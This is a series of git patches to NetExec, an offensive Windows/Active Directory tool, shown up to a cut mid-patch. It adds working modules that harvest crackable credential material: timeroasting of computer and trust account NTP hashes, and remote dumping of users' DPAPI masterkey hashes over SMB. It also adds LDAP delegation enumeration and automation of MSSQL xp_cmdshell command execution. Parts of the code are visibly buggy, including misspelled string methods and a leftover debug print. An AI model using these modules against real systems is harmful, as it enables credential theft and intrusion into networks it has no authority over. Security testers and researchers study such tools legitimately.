From 56795fc713d5fb4f97a10279f6ea10f3aee88b10 Mon Sep 17 00:00:00 2001 From: Enrico Belgiovine Date: Sat, 18 May 2024 00:43:57 +0200 Subject: [PATCH 001/376] feat: timeroast.py implemented as netexec module --- nxc/modules/timeroast.py | 113 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 nxc/modules/timeroast.py diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py new file mode 100644 index 00000000..a3852bb1 --- /dev/null +++ b/nxc/modules/timeroast.py @@ -0,0 +1,113 @@ +from binascii import hexlify, unhexlify +from select import select +from time import time +from socket import socket, AF_INET, SOCK_DGRAM +from struct import pack, unpack + + + +def hashcat_format(rid, hashval, salt): + """ + Encodes hash in Hashcat-compatible format (with username prefix). + """ + return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}' + +class NXCModule: + ''' + Module by Disgame: @Disgame + Based on research from SecuraBV (@SecuraBV) + + Much of this code was copied from the original implementation. + ''' + + name = 'timeroast' + description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account' + supported_protocols = ['smb'] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + + # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. + self.ntp_prefix = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a') + + + def options(self, context, module_options): + """Required. + Module options get parsed here. Additionally, put the modules usage here as well + """ + self.rids = range(1, 2**31) + self.rate = 180 + self.timeout = 24 + self.src_port = 0 + self.target = None + + if "rids" in module_options: + self.rids = module_options["rids"] + if "rate" in module_options: + self.rate = module_options["rate"] + if "timeout" in module_options: + self.timeout = module_options["timeout"] + if "src_port" in module_options: + self.src_port = module_options["src_port"] + + def on_login(self, context, connection): + + if self.target is None: + self.target = connection.host + + for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, False, self.src_port): + context.log.highlight(hashcat_format(rid, hash, salt)) + + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0): + """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. + Rate is the number of queries per second to send. + Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will + not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network + issues. + + Yields (rid, hash, salt) pairs, where salt is the NTP response data. + """ + + # Flag in key identifier that indicates whether the old or new password should be used. + keyflag = 2**31 if old_pwd else 0 + + # Bind UDP socket. + with socket(AF_INET, SOCK_DGRAM) as sock: + try: + sock.bind(('0.0.0.0', src_port)) + except PermissionError: + context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.') + + context.log.display("Starting Timeroasting...") + + query_interval = 1 / rate + last_ok_time = time() + rids_received = set() + rid_iterator = iter(rids) + + while time() < last_ok_time + giveup_time: + # Send out query for the next RID, if any. + query_rid = next(rid_iterator, None) + if query_rid is not None: + query = self.ntp_prefix + pack(' Date: Sat, 18 May 2024 01:01:45 +0200 Subject: [PATCH 002/376] feat: new option to retrieve old hashes --- nxc/modules/timeroast.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index a3852bb1..6e075802 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -17,6 +17,8 @@ class NXCModule: Module by Disgame: @Disgame Based on research from SecuraBV (@SecuraBV) + https://github.com/SecuraBV/Timeroast/ + Much of this code was copied from the original implementation. ''' @@ -24,7 +26,7 @@ class NXCModule: description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account' supported_protocols = ['smb'] opsec_safe = True - multiple_hosts = True + multiple_hosts = False def __init__(self): self.context = None @@ -35,13 +37,11 @@ class NXCModule: def options(self, context, module_options): - """Required. - Module options get parsed here. Additionally, put the modules usage here as well - """ self.rids = range(1, 2**31) self.rate = 180 self.timeout = 24 self.src_port = 0 + self.old_hashes = False self.target = None if "rids" in module_options: @@ -52,13 +52,14 @@ class NXCModule: self.timeout = module_options["timeout"] if "src_port" in module_options: self.src_port = module_options["src_port"] + if "old_hashes" in module_options: + self.old_hashes = module_options["old_hashes"] def on_login(self, context, connection): - if self.target is None: self.target = connection.host - for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, False, self.src_port): + for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): context.log.highlight(hashcat_format(rid, hash, salt)) def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0): From 41430731238a80c41af70f53e37d1003c6f8a3e6 Mon Sep 17 00:00:00 2001 From: Enrico Belgiovine Date: Sat, 18 May 2024 01:04:40 +0200 Subject: [PATCH 003/376] fix: moved display Information out of logic --- nxc/modules/timeroast.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index 6e075802..918cf152 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -59,6 +59,8 @@ class NXCModule: if self.target is None: self.target = connection.host + context.log.display("Starting Timeroasting...") + for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): context.log.highlight(hashcat_format(rid, hash, salt)) @@ -82,7 +84,6 @@ class NXCModule: except PermissionError: context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.') - context.log.display("Starting Timeroasting...") query_interval = 1 / rate last_ok_time = time() From e7d30329ed60555ab4eea98f7cc6e9789789fad7 Mon Sep 17 00:00:00 2001 From: Enrico Belgiovine Date: Sat, 18 May 2024 01:39:27 +0200 Subject: [PATCH 004/376] fix: ruff check --- nxc/modules/timeroast.py | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index 918cf152..bc87f8e0 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -7,24 +7,22 @@ from struct import pack, unpack def hashcat_format(rid, hashval, salt): - """ - Encodes hash in Hashcat-compatible format (with username prefix). - """ - return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}' + """Encodes hash in Hashcat-compatible format (with username prefix).""" + return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" class NXCModule: - ''' + """ Module by Disgame: @Disgame Based on research from SecuraBV (@SecuraBV) https://github.com/SecuraBV/Timeroast/ Much of this code was copied from the original implementation. - ''' + """ - name = 'timeroast' - description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account' - supported_protocols = ['smb'] + name = "timeroast" + description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account" + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False @@ -33,7 +31,7 @@ class NXCModule: self.module_options = None # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. - self.ntp_prefix = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a') + self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") def options(self, context, module_options): @@ -61,10 +59,10 @@ class NXCModule: context.log.display("Starting Timeroasting...") - for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): - context.log.highlight(hashcat_format(rid, hash, salt)) + for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): + context.log.highlight(hashcat_format(rid, md5hash, salt)) - def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0): + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0): """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. Rate is the number of queries per second to send. Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will @@ -73,16 +71,15 @@ class NXCModule: Yields (rid, hash, salt) pairs, where salt is the NTP response data. """ - # Flag in key identifier that indicates whether the old or new password should be used. keyflag = 2**31 if old_pwd else 0 # Bind UDP socket. with socket(AF_INET, SOCK_DGRAM) as sock: try: - sock.bind(('0.0.0.0', src_port)) + sock.bind(("0.0.0.0", src_port)) except PermissionError: - context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.') + context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") query_interval = 1 / rate @@ -94,7 +91,7 @@ class NXCModule: # Send out query for the next RID, if any. query_rid = next(rid_iterator, None) if query_rid is not None: - query = self.ntp_prefix + pack(' Date: Sat, 20 Jul 2024 21:13:34 +0200 Subject: [PATCH 005/376] This module automate extraction of dpapi "hash" based on the user's protected masterkey Big thanks to @Fist0urs for the awesome groundwork This work was presented a long time ago see https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf Currently the module is written to only generated dpapi "hash" in the context of a Domain (Hashcat -m 15310 or -m 15900) This is a first ugly version, lot of room for improvement --- nxc/modules/dpapi_hash.py | 289 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 289 insertions(+) create mode 100644 nxc/modules/dpapi_hash.py diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py new file mode 100644 index 00000000..8679b083 --- /dev/null +++ b/nxc/modules/dpapi_hash.py @@ -0,0 +1,289 @@ +import ntpath +from dploot.lib.target import Target +from dploot.lib.smb import DPLootSMBConnection +import struct +import binascii +import array + +# Based on dpapimk2john, original work by @fist0urs + + +class Eater: + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + self.end = len(raw) if end is None else end + self.endianness = endianness + + def prepare_fmt(self, fmt): + if fmt[0] not in ("<", ">", "!", "@"): + fmt = self.endianness + fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + return v[0] if len(v) == 1 else v + + def eat(self, fmt): + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + self.ofs += sz + return v[0] if len(v) == 1 else v + + def eat_string(self, length): + return self.eat(f"{length}s") + + def remain(self): + return self.raw[self.ofs:self.end] + + def eat_sub(self, length): + sub = Eater(self.raw[self.ofs:self.ofs + length], endianness=self.endianness) + self.ofs += length + return sub + + +class DPAPIBlob: + def __init__(self, raw=None): + # Initialization code + pass + + @staticmethod + def hexstr(bytestr): + return binascii.hexlify(bytestr).decode("ascii") + + +class CryptoAlgo: + class Algo: + def __init__(self, data): + self.__dict__.update(data) + + _crypto_data = {} + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + if "name" in kargs: + kargs["ID"] = algnum + cls._crypto_data[kargs["name"]] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data.get(algnum) + + def __init__(self, algnum): + self.algnum = algnum + self.algo = CryptoAlgo.get_algo(algnum) + if not self.algo: + raise ValueError(f"Algorithm number {algnum} not found in crypto data") + + name = property(lambda self: self.algo.name) + keyLength = property(lambda self: self.algo.keyLength // 8) + ivLength = property(lambda self: self.algo.IVLength // 8) + blockSize = property(lambda self: self.algo.blockLength // 8) + digestLength = property(lambda self: self.algo.digestLength // 8) + + def __repr__(self): + return f"{self.algo.name} [{self.algnum:#x}]" + + +def des_set_odd_parity(key): + _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128) +CryptoAlgo.add_algo(0x660E, name="AES-128", keyLength=128, IVLength=128, blockLength=128) +CryptoAlgo.add_algo(0x660F, name="AES-192", keyLength=192, IVLength=128, blockLength=128) +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128) +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800C, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800D, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800E, name="sha512", digestLength=512, blockLength=1024) + + +def display_masterkey(Preferred): + GUID1 = Preferred.read(8) + GUID2 = Preferred.read(8) + GUID = struct.unpack("HLH", GUID2) + return f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}" + + +class MasterKey: + def __init__(self, raw=None, SID=None, context=None): + self.decrypted = self.key = self.key_hash = None + self.hmacSalt = self.hmac = self.hmacComputed = None + self.cipherAlgo = self.hashAlgo = self.rounds = None + self.iv = self.version = self.ciphertext = None + self.SID = SID + self.context = context + self.parse(raw) + + def parse(self, data): + eater = Eater(data) + self.version = eater.eat("L") + self.iv = eater.eat("16s") + self.rounds = eater.eat("L") + self.hashAlgo = CryptoAlgo(eater.eat("L")) + self.cipherAlgo = CryptoAlgo(eater.eat("L")) + self.ciphertext = eater.remain() + + def jhash(self, user, ctx): + version, hmac_algo, cipher_algo = -1, None, None + if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower(): + version, hmac_algo, cipher_algo = 1, "sha1", "des3" + elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower(): + version, hmac_algo, cipher_algo = 2, "sha512", "aes256" + else: + return f"Unsupported combination of cipher '{self.cipherAlgo}' and hash algorithm '{self.hashAlgo}' found!" + context = 0 + if self.context == "domain": + context = 2 + s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}" + ctx.log.highlight(f"Context2: {s}") + context = 3 + s = f"\n{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}" + ctx.log.highlight(f"Context3: {s}") + else: + context = {"local": 1, "domain1607-": 2, "domain1607+": 3}.get(self.context, 0) + s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}" + return s + + +class MasterKeyFile: + def __init__(self, raw=None, SID=None, context=None): + self.masterkey = self.backupkey = self.credhist = self.domainkey = None + self.decrypted = False + self.version = self.guid = self.policy = None + self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 + self.SID = SID + self.context = context + self.parse(raw) + + def parse(self, data): + eater = Eater(data) + self.version = eater.eat("L") + eater.eat("2L") + self.guid = eater.eat("72s").decode("UTF-16LE").encode("utf-8") + eater.eat("2L") + self.policy = eater.eat("L") + self.masterkeyLen = eater.eat("Q") + self.backupkeyLen = eater.eat("Q") + self.credhistLen = eater.eat("Q") + self.domainkeyLen = eater.eat("Q") + if self.masterkeyLen > 0: + self.masterkey = MasterKey(eater.eat_sub(self.masterkeyLen).remain(), SID=self.SID, context=self.context) + if self.backupkeyLen > 0: + self.backupkey = MasterKey(eater.eat_sub(self.backupkeyLen).remain(), SID=self.SID, context=self.context) + + +class NXCModule: + name = "dpapi_hash" + description = "Remotely dump Dpapi hash based on masterkeys" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.false_positive = ( + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ) + self.user_directories = "\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Protect" + + def get_users(self, conn): + users = [] + + users_dir_path = "Users\\*" + directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) + + for d in directories: + if d.get_longname() not in self.false_positive and d.is_directory() > 0: + users.append(d.get_longname()) # noqa: PERF401, ignoring for readability + return users + + def on_admin_login(self, context, connection): + self.context = context + self.connection = connection + self.share = connection.args.share + + host = f"{connection.hostname}.{connection.domain}" + domain = connection.domain + username = connection.username + kerberos = connection.kerberos + aesKey = connection.aesKey + use_kcache = getattr(connection, "use_kcache", False) + password = getattr(connection, "password", "") + lmhash = getattr(connection, "lmhash", "") + nthash = getattr(connection, "nthash", "") + + target = Target.create( + domain=domain, + username=username, + password=password, + target=host, + lmhash=lmhash, + nthash=nthash, + do_kerberos=kerberos, + aesKey=aesKey, + use_kcache=use_kcache, + ) + + conn = self.upgrade_connection(target=target, connection=connection.conn) + # get users list + users = self.get_users(conn) + context.log.debug("Gathering DPAPI Hashes") + + # search user directory to retrieve the prefered protected Masterkey + for user in users: + directory_path = self.user_directories.format(username=user) + directorylist = conn.remote_list_dir(self.context.share, directory_path) + try: + for item in directorylist: + if item.get_longname().startswith("S-"): + sid = item.get_longname() + print(f"on est quand même là {item}") + context.log.debug(f"Found user SID: {sid}") + mkfolder = ntpath.join(directory_path, item.get_longname()) + mkfoldercontent = conn.remote_list_dir(self.context.share, mkfolder) + for mk in mkfoldercontent: + if mk.get_longname() == "Preferred": + preferredfile = ntpath.join(directory_path, mkfolder, mk.get_longname()) + Preferredcontent = conn.readFile(self.context.share, preferredfile) + GUID1, GUID2 = Preferredcontent[:8], Preferredcontent[8:16] + GUID = struct.unpack("HLH", GUID2) + masterkey = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}" + masterkeypath = ntpath.join(directory_path, mkfolder, masterkey) + masterkeycontent = conn.readFile(self.context.share, masterkeypath) + masterkeyfile_obj = MasterKeyFile(masterkeycontent, SID=sid, context="domain") + if masterkeyfile_obj.masterkey: + masterkeyfile_obj.masterkey.jhash(user, context) + except Exception as e: + context.log.debug(f"{e}") + continue + + def upgrade_connection(self, target: Target, connection=None): + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + else: + conn.connect() + return conn + + def options(self, context, module_options): + """ """ \ No newline at end of file From 6a735c16194d40c6d4888029154fcab4c0ec56f6 Mon Sep 17 00:00:00 2001 From: NK Date: Sat, 20 Jul 2024 22:43:15 +0200 Subject: [PATCH 006/376] add an option to ioxidresolver to get only interfaces IP for IP different than targets --- nxc/modules/ioxidresolver.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/nxc/modules/ioxidresolver.py b/nxc/modules/ioxidresolver.py index 691925c5..51ab3fd7 100644 --- a/nxc/modules/ioxidresolver.py +++ b/nxc/modules/ioxidresolver.py @@ -17,8 +17,9 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """No module options""" - + """DIFFERENT show only ip address if different from target ip (Default: False)""" + if module_options and "DIFFERENT" in module_options: + self.pivot = module_options.get("DIFFERENT", "false").lower() in ("true", "1") def on_login(self, context, connection): try: rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}") @@ -37,7 +38,11 @@ class NXCModule: NetworkAddr = binding["aNetworkAddr"] try: ip_address(NetworkAddr[:-1]) - context.log.highlight(f"Address: {NetworkAddr}") + if self.pivot: + if NetworkAddr.rtrip() != connection.host.rtrip(): + context.log.highlight(f"Address: {NetworkAddr}") + else: + context.log.highlight(f"Address: {NetworkAddr}") except Exception as e: context.log.debug(e) except DCERPCException as e: From 176c480beb05f80fe0c8ab50a1ffa0f8b02981a4 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Sun, 21 Jul 2024 12:54:20 +0300 Subject: [PATCH 007/376] Update proto_args, added find delegation Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap/proto_args.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index fc01c9d3..e97f9845 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -17,6 +17,7 @@ def proto_args(parser, parents): vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") + vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain.") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") From 18a857396ca9c59f334bdaa2a4db0423e6b33c49 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Sun, 21 Jul 2024 12:59:10 +0300 Subject: [PATCH 008/376] Update ldap.py, added findDelegation Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 106 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 106 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 59af5b9b..07c12b89 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -27,6 +27,7 @@ from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError from impacket.smb import SMB_DIALECT @@ -1085,6 +1086,111 @@ class ldap(connection): vals = vals.replace("SetOf: ", "") self.logger.highlight(f"{attr:<20} {vals}") + def find_delegation(self): + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max(len(str(row[i])) for row in items) + colLen.append(max(rowMaxLen, len(col))) + + # Create the format string for each row + outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + + # Print header + self.logger.highlight(outputFormat.format(*header)) + self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + + # Print rows + for row in items: + self.logger.highlight(outputFormat.format(*row)) + + # Building the search filter + search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" + "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" + ) + attributes = ["sAMAccountName", + "pwdLastSet", + "userAccountControl", + "objectCategory", + "msDS-AllowedToActOnBehalfOfOtherIdentity", + "msDS-AllowedToDelegateTo"] + + resp = self.search(search_filter, attributes, 0) + + answers = [] + self.logger.debug(f"Total of records returned {len(resp):d}") + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = "" + userAccountControl = 0 + delegation = "" + objectType = "" + rightsTo = [] + protocolTransition = 0 + + # After receiving responses we parse through to determine the type of delegation configured on each object + try: + for attribute in item["attributes"]: + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = str(attribute["vals"][0]) + mustCommit = True + elif str(attribute["type"]) == "userAccountControl": + userAccountControl = str(attribute["vals"][0]) + if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: + delegation = "Unconstrained" + rightsTo.append("N/A") + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = "Constrained w/ Protocol Transition" + protocolTransition = 1 + elif str(attribute["type"]) == "objectCategory": + objectType = str(attribute["vals"][0]).split("=")[1].split(",")[0] + elif str(attribute["type"]) == "msDS-AllowedToDelegateTo": + if protocolTransition == 0: + delegation = "Constrained" + rightsTo = list(attribute["vals"]) + + # Not an elif as an object could both have rbcd and another type of delegation configured for the same object + if str(attribute["type"]) == "msDS-AllowedToActOnBehalfOfOtherIdentity": + rbcdRights = [] + rbcdObjType = [] + search_filter = "(&(|" + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute["vals"][0])) + for ace in sd["Dacl"].aces: + search_filter = search_filter + "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter = search_filter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + for item2 in delegUserResp: + if isinstance(item2, ldapasn1_impacket.SearchResultEntry) is not True: + continue + rbcdRights.append(str(item2["attributes"][0]["vals"][0])) + rbcdObjType.append(str(item2["attributes"][1]["vals"][0]).split("=")[1].split(",")[0]) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + self.logger.debug("Bypassing disabled account %s " % sAMAccountName) + else: + for rights, objType in zip(rbcdRights, rbcdObjType): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + + # Print unconstrained + constrained delegation relationships + if (delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"] and mustCommit): + if int(userAccountControl) & UF_ACCOUNTDISABLE: + self.logger.debug("Bypassing disabled account %s " % sAMAccountName) + else: + answers = [sAMAccountName, objectType, delegation, rightsTo] + + except Exception as e: + self.logger.error("Skipping item, cannot process due to error %s" % str(e)) + + if len(answers) > 0: + printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) + else: + self.logger.fail("No entries found!") + def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" From 363691aa4fcbdfbd2c2e266b1ce5a1032d3de31b Mon Sep 17 00:00:00 2001 From: 0xQRx Date: Sat, 24 Aug 2024 18:09:12 -0400 Subject: [PATCH 009/376] added is_xp_cmdshell_enabled() function to check mssql if xp_cmdshell is already enabled, to avoid altering its state --- nxc/protocols/mssql/mssqlexec.py | 33 ++++++++++++++++++++++++++------ 1 file changed, 27 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 3fe0bb8e..ca90b8c8 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -8,11 +8,19 @@ class MSSQLEXEC: def execute(self, command): result = None + xp_cmdshell_was_enabled = False + try: - self.logger.debug("Attempting to enable xp cmd shell") - self.enable_xp_cmdshell() + xp_cmdshell_was_enabled = self.is_xp_cmdshell_enabled() + if not xp_cmdshell_was_enabled: + self.logger.debug("xp_cmdshell is disabled, attempting to enable it.") + self.enable_xp_cmdshell() + else: + self.logger.debug("xp_cmdshell is already enabled.") + except Exception as e: - self.logger.error(f"Error when attempting to enable x_cmdshell: {e}") + self.logger.error(f"Error when checking/enabling xp_cmdshell: {e}") + try: cmd = f"exec master..xp_cmdshell '{command}'" self.logger.debug(f"Attempting to execute query: {cmd}") @@ -21,19 +29,32 @@ class MSSQLEXEC: if result: result = "\n".join(line["output"] for line in result if line["output"] != "NULL") self.logger.debug(f"Concatenated result together for easier parsing: {result}") - # if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...) if "Preparing modules for first use" in result and "Completed" not in result: self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command") except Exception as e: 